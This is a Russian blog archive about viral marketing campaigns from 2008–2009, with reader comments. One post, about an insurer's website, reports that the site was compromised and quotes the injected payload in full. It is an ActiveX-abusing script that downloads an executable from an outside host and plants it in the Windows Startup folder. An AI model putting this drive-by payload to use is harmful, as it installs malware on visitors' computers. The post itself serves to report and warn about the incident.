Обновления за Январь, 2009 Показать/спрятать ветки комментариев | Горячие клавиши

  • virusok 19:07 on January 20, 2009 Постоянная ссылка  

    Повторение пройденного 

    Продолжаем тему сиквелов.

    За последние несколько дней сразу два образца продукции российских вирусоделателей:

    1. Особо опасна:

    Это промо женского портала womanjournal.ru скорее всего является отголосками летне-осеннего тендера на вирусный маркетинг. Идея проста как три копейки – сделать “бунт блондинки” или “погром в парикмахерской” и привязаться к Самому Успешному Российскому Кейсу по Вирусному Маркетингу, спародировав его – даже шрифты в tagline перекочевали с плакатов Wanted. Громят салон красоты смачно, персоналу достается тоже забавно. Но как-то общее впечатление нечеткое. Вердикт – fun, not viral.
    Авторство пока не раскрывают, но одними из первых видео запостили Илья Корнеев из Аффекта и Кирилл Смирнов, творческий директор Victory SA. В общем делаем выводы, sapienti sat.

    На настоящий момент около 70 000 просмотров. Про посев лучше меня расскажет картинка:

    2. MMS нам строить и жить помогает

    Социальные сети экранизировали бородатый анекдот про Ленина, Крупскую, любовницу и чердак/библиотеку в зависимости от редакции. В главный роли Костя Максимюк, который после ухода из Билайна Михаила Умарова, теперь главный в Вымпелкоме по new media. Добротный продакшен и хороший грим, приятная музычка, да и бесспорно хороший задел на будущее сотрудничество в данной ситуации )) Но опять же – fun, not viral (более того – фан в основном для тех, кто знает актера). Да и 350 просмотров пока что не вдохновляют. Подождем и вспомним пока те видео, которые делало это агентство – Темный лорд хозяйничает в Москве и Папуля (авторство этого официально не признано).

    PS
    Объявление – в блоге скоро немного поменяется формат в связи с тем, что virusok.ru будет переделываться. А пока что можно подписаться на твиттер, где нет аналитики, зато есть интересные околовирусные ссылки в daily-формате.

     

  • virusok 02:11 on January 13, 2009 Постоянная ссылка  

    Новое старое – вирусная реклама по второму кругу 

    Факты:
    Ролик 2008 г. с танцующим Мэттом, которому я предрекал большой успех, набрал более 16 миллионов просмотров на Youtube.
    Officemax провела очередное рождественское промо ElfYourself, что становится уже традицией.
    Judson Laipply, автор второго по просмотрам ролика на Youtube – Evolution of Dance, выложил Evolution of Dance 2, на который я и хотел бы обратить внимание:

    Факты+Размышления:
    У видео EOD2 появились спонсоры – рекомендательные сервисы Saveology и Peoplejam. Запуск видео предварялся минипроектом Elolution of You, который эксплуатирует идею уже упоминавшегося ElfYourself, в настоящее время с этим видео связаны еще проекты Ibeatyou (который в свое время продвигался через вирусное видео с участнием знаменитостей) и Sweepstakes.
    Мне долго не давал покоя вопрос – специально ли Джадсон танцевал в оранжевой футболке Crush и будут ли владельцы марки использовать эту популярность в своих кампаниях? Судя по всему любовь к футболкам с содовой у автора этого видео органична и никак не монетизирована. Коммерциализация миллионов просмотров как таковая вообще началась не так давно – потихоньку продавались футболки на сайте, было довольно неудачное видео для продвижения музыкальной системы Sonos, но ничего системного. Все на самом деле очень просто – в первом EOD у правообладателей никто не спрашивал разрешения на использование музыки, что висело над потенциальными доходами как домоклов меч (как собственно и угроза удаления первого видео с youtube). В России, где авторские права нарушаются системно, звучит диковато, но на западе можно попасть на крупные бабки за использование чего-то, защищенного копирайтом, в промо-целях – заставят еще заплатить по доллару за каждое воспроизведение – поэтому осторожные рекламодатели обходили Джадсона стороной.
    Второй ролик изначально строился на “отмытых” от претензий композициях, что позволило получить спонсорский пакет. Возможно именно по этой причине он выглядит откровенно слабо по сравнению с первым опытом. Переходы резковаты, в ролике не прослеживается история, нет драйва, на небольшие часть песен не нашлось движений – танцор просто отдыхает и переминается под музыку, другие движения малоинтересны и не так узнаваемы, как в EOD 1. В общем – читайте комментарии к ролику, там еще куча замечаний. Два спонсора в конце ролика воспринимаются с трудом, да и главный герой в целом не излучает того позитива, который помог первому видео стать лидером Youtube. Коммерция победила искусство? Да нет, видимо сроки и дедлайны победили коммерцию и искусство. Да и ко всему прочему через 2 года обещаний сиквела складывается ощущение, что гора родила мышь, которая полезна лишь Crush’у и ibeatyou, где все бросятся доказывать, что могут танцевать не хуже.
    Миллионы просмотров этого видео конечно же будут, но оно все равно останется в тени первого успешного и драйвого ролика. Пока что 455 000 and counting.

    Подводя итог – использовать старую сработавшую идею можно и нужно, но с каждым воплощением следует раскрывать ее с новой стороны – делать лучше и интересней – как в ElfYourself добавляли количество персонажей в flash-поздравлениях, как Мэтт танцевал в новых странах и необычных местах со все большим количеством фанатов.

    P.S.
    Обновления стали уже совсем редкими, возможно в скором будущем будет легкий переход от аналитики к постингу наиболее интересных из свежих примеров вирусного маркетинга ))

     

  • virusok 22:23 on November 25, 2008 Постоянная ссылка  

    Вирус от маркетологов или настоящий вирус? 

    Не успели мы пообщаться с adme.ru по поводу политики взаимоцитирования в рамках этого материала, как история с вирусным маркетингом Альфы получила неожиданное развитие. Долгая и продолжительная история отношений с маком отучила меня воспринимать вирусы как то, что может угрожать компьютеру и его безопасности, поэтому я проигнорировал предупреждение Safari о том, что сайт alfastrah.ru может содержать вредоносное ПО.

    Picture 62

    Сегодня вечером от знакомых из Лаборатории Касперского узнал, что на сайте есть кусок кода, который и превращает рекламный вирус в компьютерный. Оказывается осторожничать с этой ссылкой нужно было не только из-за звука флешки. Не вдаваясь в технические подробности – приведу пару скриншотов и комментарии от специалистов.

    alfa3

    image002

    Анализ сайта показал, что, помимо эротического мультика, там сидит и вирус. Интересен способ внедрения: он вставлен аккуратно в центр страницы. Грузит вот что (скрипт даже не зашифрован): http://google-analyze.com/counter/index.php.

    HTTP/1.1 200 OK
    Date: Tue, 25 Nov 2008 15:43 GMT
    Server: Apache/2.2.3 (CentOS)
    X-Powered-By: PHP/5.1.6
    Vary: Accept-Encoding,User-Agent
    Content-Length: 475
    Connection: close
    Content-Type: text/html
    <object classid=”clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9″ id=”attack”></object>
    <script>
    var arbitrary_file = “http://google-analyze.com/tracker/load.php&#8221;;
    var destination = ‘c:/Documents and Settings/All Users/Start Menu/Programs/StartUp/browsser.exe’;
    attack.SnapshotPath = arbitrary_file;
    attack.CompressedPath = destination;
    attack.PrintSnapshot(arbitrary_file,destination);
    </script>
    <embed src=”pdf.php” type=”application/pdf” width=100 height=100></embed>

    У вируса есть особенность – блокировка загрузки при повторном посещении – вирус попадает на комп только при первой загрузке с какого-нибудь айпишника, при повторных уже нет. Так что если смотрят из конторы, где ходят через прокси – пострадает только первый посмотревший.
    Для внедрения на сайт была использована незакрытая уязвимость.

    Я полагаю, что аналитики из Касперского уже уведомили IT-департамент Альфы, что нужно лучше работать над безопасностью своих сайтов, однако на всякий случай напишу еще и маркетологам из Альфа-страхования. Однако интересная получается вещь – дырой воспользовались именно тогда, когда пошел рост заходов на сайт по экспоненте. Вот так иногда связаны рекламные и компьютерные вирусы ))

    Picture 63

    P.S. Пока что не дошли руки до подробного обзора, можно посмотреть ряд роликов про Блондинку-СИСадминку, в которых продвигается антивирус. Уж очень в тему для этой записи.

     

  • virusok 20:12 on November 24, 2008 Постоянная ссылка
    Метки: alfa, , страхование   

    Все засТРАХовано? 

    В сообществе virusok_ru в ЖЖ поделились ссылкой на сайт Альфа-страхование с инструкцией о том, как активировать easter egg. На главной странице http://www.alfastrah.ru нужно 5-6 раз кликнуть на телефонный номер в правом верхнем углу и вместо шапки появится специально отрисованный мультфильм эротического содержания. 

    Если лень кликать несколько, можно просто перейти по этой ссылке. Только будьте осторожней в офисе – flash со звуком и коллеги могут неправильно Вас понять.

    Сюжет мультика незатейлив – персонажи с баннеров из шапки один за другим забегают в дом, который трясется и ходит ходуном. Судя по названию флешки – там свингерская вечеринка. У кого-то в руках плетка, у других – надувные резиновые женщины. Заканчивается все тривиально – дом развалился, что аллегорически видимо означает наступление страхового случая.

    Я уже писал об похожем примере – тогда флешку с намеком на эротику спрятала в шапке сейта Корбина.

    Честно говоря мне было странно видеть подобный прием после отличнейшего на мой взгляд кейса по работе с newmedia – страхование фотографий от плохих оценок на сайте odnoklassniki.ru. Вирусный траффик на дороге конечно тоже не валяется, но о качестве контакта я бы задумался. Может на страховщиков кризис так влияет? 

    В то же время респект маркетологам из Альфы – я думаю что еще через 2-3 эксперимента они поймают свой стиль и стоить это будет дешевле спецпроекта на активно монетизирующихся одноклассниках.

     

  • virusok 11:32 on October 26, 2008 Постоянная ссылка  

    Waazzzup, Barack? Вирусная реклама кандидата в президенты США 

    Серия роликов Wassup для пива Bud одной из первых открыла механизм вирусного маркетинга. Возглас “Waazzzup” стал настоящим мемом, с легкостью перетек в оффлайн, был растиражирован всевозможными способами – эпизод в Scary Movie, куча переделок и пародий (в том числе и со стороны самой Anheuser-Busch). Через 8 лет вирусная студия 60 Frames вновь собрала героев первого ролика:

    Чуть больше чем за сутки это видео просмотрело около миллиона человек. Рецепт успеха прост – узнаваемые персонажи, стеб над всем чем можно – ипотечным, фондовым и кредитным кризисами, войной в Ираке, стихийными бедствиями, самими собой, и, конечно же, политической конъюнктурой. Связка сюжета с предысторией и слоганом Барака Обамы “Change” близка к гениальной. Думаю не нужно объяснять, что все негативные перемены в жизни героев или отсылки к ним – Ирак, кризис, наводнение в Новом Орлеане – четко увязаны со временем правления республиканцев? Именно за счет тех эмоций, которые призван вызывать ролик, Обама постепенно и побеждает. Это видео один из наиболее красноречивых примеров того, почему его называют кандидатом 2.0

    Первоисточник (Bud True Wassup):

     

    • Zumka 19:17 on Декабрь 5, 2008 Постоянная ссылка | Ответить

      Блин долго искал инфу по сабжу, в яндексе хрен чего найдешь, этот блог наконец-то в гугле попался :)

  • virusok 14:13 on September 22, 2008 Постоянная ссылка
    Метки: заимствования, метро, mdvision   

    Путешествие по метро в вирусной рекламе homepage.ru 

    MD Vision сняли новый ролик для “сайта о том, как жить в Москве” homepage.ru:

    С одной стороны, нормально вроде бы – и по картинке и по сюжету. С другой – хоть видео и подается как пародия на танцующего Мэтта, о котором я уже писал, пародии как таковой я не увидел. Разве что неплохую с ремесленной точки зрения реализацию сработавшей на Западе идеи.27 часов чистого съемочного времени и то, что объехали все станции место конечно круто, но откровенный плагиат – это bad mzfk.

     

    • Павел 00:43 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      А не длинно ли для вируса? 8 минут – как-то слишком…

    • Михаил 01:04 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      Успешность вируса больше зависит от контента, чем от удачного хронометража – можно вспомнить хотя бы стримовский “не было разрыва”, который более 15 минут идет. Тут длина как раз монументальность создает. Хотя идеальный хронометраж для вирусного ролика – до 90 секунд.

    • Алексей Терентьев blog-job.ru 15:41 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      Первый 30 секунд было смешно. Далее не осилил

    • Alexvs 14:03 on Сентябрь 28, 2008 Постоянная ссылка | Ответить

      Обычная копия танцуюего Мэтта реализованная в других условиях

      Вопрос хорошо или нет? Для тех кто видел Метта наверно скучно, но в России процентов 85 пользователей Интернете никогда о нем не слышали и не видели

      И за сим MDVISION будут опять “первыми”

      сдуваются ребята (

    • Никита 07:06 on Октябрь 3, 2008 Постоянная ссылка | Ответить

      Отличная пародия. Рассчитанная как раз на тех кто видел оригинал. Финальные титры “спасибо за футболку и оплаченный проезд” звучит как откровенный стеб :) Вцелом – зачет, но станций метро в москве слишком много…. Хотя бы питер взяли…
      PS на полноценный вирусняк не тянет.

    • LekaS 14:23 on Октябрь 14, 2008 Постоянная ссылка | Ответить

      Где нормальные комментарии по теме?

    • Антон Попов 11:55 on Октябрь 28, 2008 Постоянная ссылка | Ответить

      У “вируса” нет легенды, нет вовлеченности. Если бы они выкладывали по одной станции метро в течение месяца, а потом склеили бы, то было бы лучше.

  • virusok 23:14 on June 22, 2008 Постоянная ссылка  

    Словечко о русском вирусном маркетинге 

    Коллеги по цеху на днях упрекнули меня в том, что я слишком много внимания уделяю западным примерам и кампаниям и мало пишу о российских success-stories. Признаю справедливость упрека. О бекмамбетовском офисе и разрывах стрима я напишу большие аналитические посты, тем более что был вчера на премьере Wanted, просто хочется, чтобы кампании дошли до своего логического завершения, поскольку о том, что на поверхности уже все написали.

    А пока что появились примечательные данные о новогодней кампании ВТБ24 от Михаила Галушко, руководителя отдела интернет-проектов банка. В докладе “ВТБ24 и тренды блогосферы” на конференции Social networks in Russia (презентация) он рассказал о количественных итогах. Готовы? По 12 тысяч просмотров каждой из открыток.
    В выводах отмечается:

    • Эффективность можно замерить только статистикой просмотров, влияние на бренд оценить нельзя
    • В данном контексте фиксируемый PR-эффект важнее реальных продаж

    Влияние на бренд нельзя оценить? Спросите меня как. О каких продажах идет речь с 12 000 просмотров и позицией, что “влияние на бренд оценить нельзя”? Хотя к мысле в целом полностью присоединяюсь.

    По стратегии распространения все интересно – неудивительно, что отклик от размещения у тысячников был незначителен, вирусная составляющая у него другая (мягкий юмор и акцент на узнавание мемов), тут как раз форумы надо было задействовать, причем не только авто, но и целевые по продукту. По второму ролику – очень смешные цифры. За счет “продвижения в одноклассниках” и “вирусного распространения ссылки в блогах” можно было от 50 до 100 тысяч получить. “Рассылка по партнерам и клиентам” ВТБ24 одна должна эти 12000 давай, если правильно ее составлять.

    В итоге – нужно работать над посевом, хороший контент-то есть, зачем его гробить плохим сидингом? Вот такой пока российский вирусный маркетинг, пусть и с отдельными шедеврами. В западных примерах меня привлекает выверенность кампании в целом – однородность на всех этапах, продуманность и срежиссированность.

    Так что не могу не порадовать вас очередным роликом – новой серией Мэта, танцующего для продвижения жевательной резинки Stride:

    Классика, 1.2 миллиона контактов с ЦА за 2 дня, более 15 за всю кампанию только на YouTube. Stay Tuned.

     

    • Илья Корнеев (Аффект) 11:49 on Июнь 24, 2008 Постоянная ссылка | Ответить

      Миша привет!
      по Wanted у нас очень много материалов – готов поделиться.
      Мы консультировали Базелевс на этапах креатива и продакшена ну и мы же его запускали – сеяли. Тут такая пьянка была когда его на 1ом показали :)

    • Катя 06:49 on Август 5, 2008 Постоянная ссылка | Ответить

      Классно написано. Почти за душу цепляет, заставляет задуматься над собственным блогом. Однако не совсем полно тема развёрнута. Где про это прочитать более подробно? С глубоким уважением, Array

  • virusok 13:57 on June 9, 2008 Постоянная ссылка  

    Вирус уровня Mentos&Coke 

    Новое видео, которое наверняка вызовет волну экспериментов в духе montos+coke с попкорном и мобильными телефонами:

    И все бросятся покупать попкорн, чтобы проверить – действительно ли эта фишка работает?

    А на самом деле это ролик для раскрутки Cardo Systems, которая создала эту городскую легенду, чтобы доказать в игровой манере, что их Bluetooth-гарнитуры неопасны.

     

    • Игорь 16:00 on Июнь 9, 2008 Постоянная ссылка | Ответить

      Добрый день. Являюсь постоянным читателем rss вашего блога
      Понимаю, что не к месту, но можно спросить…

      какая технология распостранения вируса – например какойто “смешной” статьи..

      Допустим статья написаннна, что дальше? как ее распостранить, как сделать начало?
      Буду признателен за ответ

    • Михаил 16:25 on Июнь 9, 2008 Постоянная ссылка | Ответить

      Здравствуйте, Игорь.

      Самый простой вариант, который приходит в голову – использовать блоги и имеющиеся социальные сервисы для раскрутки. Статья публикуется в блоге, ссылка на нее отправляется всем друзьям и знакомым, затем если есть бюджет – платное размещение в блогах (со ссылкой), выведение записи в топ поиска яндекса по блогам (рецепт = комментарии+ссылки в других блогах за 24 часа), размещение на разлекательных и юмористических ресурсах (от voffka.com до удава в зависимости от стилистики), выведение в топ на news2. Если бюджета нет – использование всех возможностей web 2.0 ручками – добавление новостей, комментарии к релевантным материалам со ссылкой и т.п., но не опускаясь до спамерских методов. Самое главное – быть интересным аудитории, то есть найти такие сообщества, где этот материал найдет отклик.

    • woofer 16:23 on Июнь 23, 2008 Постоянная ссылка | Ответить

      Отдавайте полный фид – это полезно для вас и блога.

  • virusok 08:31 on May 29, 2008 Постоянная ссылка  

    Крестовый поход против сотовых компаний 

    Очень хорошая вирусная кампания для американского сотового оператора Net10 находится сейчас в активной стадии. Все началось с видео, в котором из телефона, расплавленного в микроволновке, возникает чудовище:

    Ролик заканчивается ссылкой no-evil.net, по которой находится промосайт оператора Net10, на котором объясняется какие плохие другие сотовые компании и как здорово с Net10. Довольно хороши ролики, делающие упор на алчность компаний, которые предоставляют услуги сотовой связи – как они бессовестно обкрадывают самых лучших людей. По слухам, автор этого вируса – Давид Дрога и его Droga5.

     

  • virusok 20:56 on May 27, 2008 Постоянная ссылка  

    О копирайтах и вообще 

    Своего рода disclaimer

    В этом тексте и соотвественно, в сюжетах программы Вести.net на информационном канале “Вести” и радиостанции “Вести-FM” использованы материалы из этого блога, опубликованные дня на два раньше. Я ни в коем случае не против творческой переработки авторских текстов, однако хотелось бы в таком случае видеть ссылку – “использованы материалы с сайта virusok.ru” и т.п. Просто как-то бросилось в глаза прямое использование сразу нескольких фраз и информации – например, кропотливого подсчета количества раскрученых вирусных трендов ))

    Из новенького:
    недовирус со стриптизом от Альфа-банк
    кампания для Даниссимо про хранителей удовольствия – я чуть не уснул от такого креатива
    PS
    Special for Blogoda – 940199450

     

    • Сергей Назаров 06:58 on Май 28, 2008 Постоянная ссылка | Ответить

      А это нормальная, блин, практика. Почему-то наши СМИ считают интернет бесплатным кладезем информации, и тырят ее, не заморачиваясь на тему ссылок и копирайтов. У меня тоже была похожая ситуация – http://diletant.linksblog.ru/about/157

    • Finist Cvetaev 01:04 on Май 29, 2008 Постоянная ссылка | Ответить

      Мда, иногда создаётся впечатление, что ни одного серьёзного игрока на рекламном рынке россии в данный момент не наблюдается. Ни свежих идей, ни достойных коммуникаций. и всё это на фоне резкого спада лояльности к тв рекламе и другим стандартным медиа. рынок за ближайшие 5-10 лет перетечёт ещё больше в он-лайн и нестандартные носители, в то время как будут вводиться всё большие запреты на наружную рекламу. и при таком “креативе” о чём думаю крупные игроки? Как они собираются адаптироваться в современных условиях? Ведь я так понимаю и по качеству вижу, что на эти видео + сопутствующий промо-сайт и другие нюансы потрачено чьих-то не мало денег, а какова будет отдача от подобного креатива?
      к томуже слова *недовирус* и *я чуть не уснул от такого креатива* уже дали негативную (играющую на снижение очков доверия и уважения к бренду) публичную оценку (назовём условно) профессионального сообщества.

    • Михаил 01:19 on Май 29, 2008 Постоянная ссылка | Ответить

      проблема в основном в том, что люди продают под соусом “вирусный маркетинг” то, что им не является. нет универсальных техник создания вирусов – лишь инструменты максимизации возможности запуска вируса. кроме того, несмотря на рост интереса к нестандартному продвижению, многие заказчики воспринимают свой бренд таким образом, что в процессе согласования могут зарезать успешный вирус и превратить его в скучную и почти традиционную кампанию

    • Катя 04:58 on Август 5, 2008 Постоянная ссылка | Ответить

      Прикольно написано. Почти за душу цепляет, заставляет смеяться над остальной блогосферой. Хотя не совсем полно тема обозрена. Где об этом почитать более подробно? С лучшими пожеланиями, Array

    • Марат Мухаметов 20:16 on Ноябрь 25, 2008 Постоянная ссылка | Ответить

      Михаил, я отписал вам по емейлу, но пришел отлуп. Надеюсь так сообщение дойдет.

      Прошу нас извинить за эту ошибку, вы совершенно правы. Это ошибка нашего нового редактора.
      Я исправил и поставил ссылку ваш материал как источник.
      Приношу вам свои извинения и, надеюсь, такого больше никогда не повторится.

      –
      Марат Мухаметов, руководитель AdMe Group

← Предыдущие записи

Следующие записи →

c
cоздать новую запись
j
следующая запись/комментарий
k
предыдущая запись/комментарий
r
ответить
e
редактировать
o
показать/скрыть комментарии
t
перейти наверх
l
go to login
h
show/hide help
shift + esc
отменить
Follow

Get every new post delivered to your Inbox.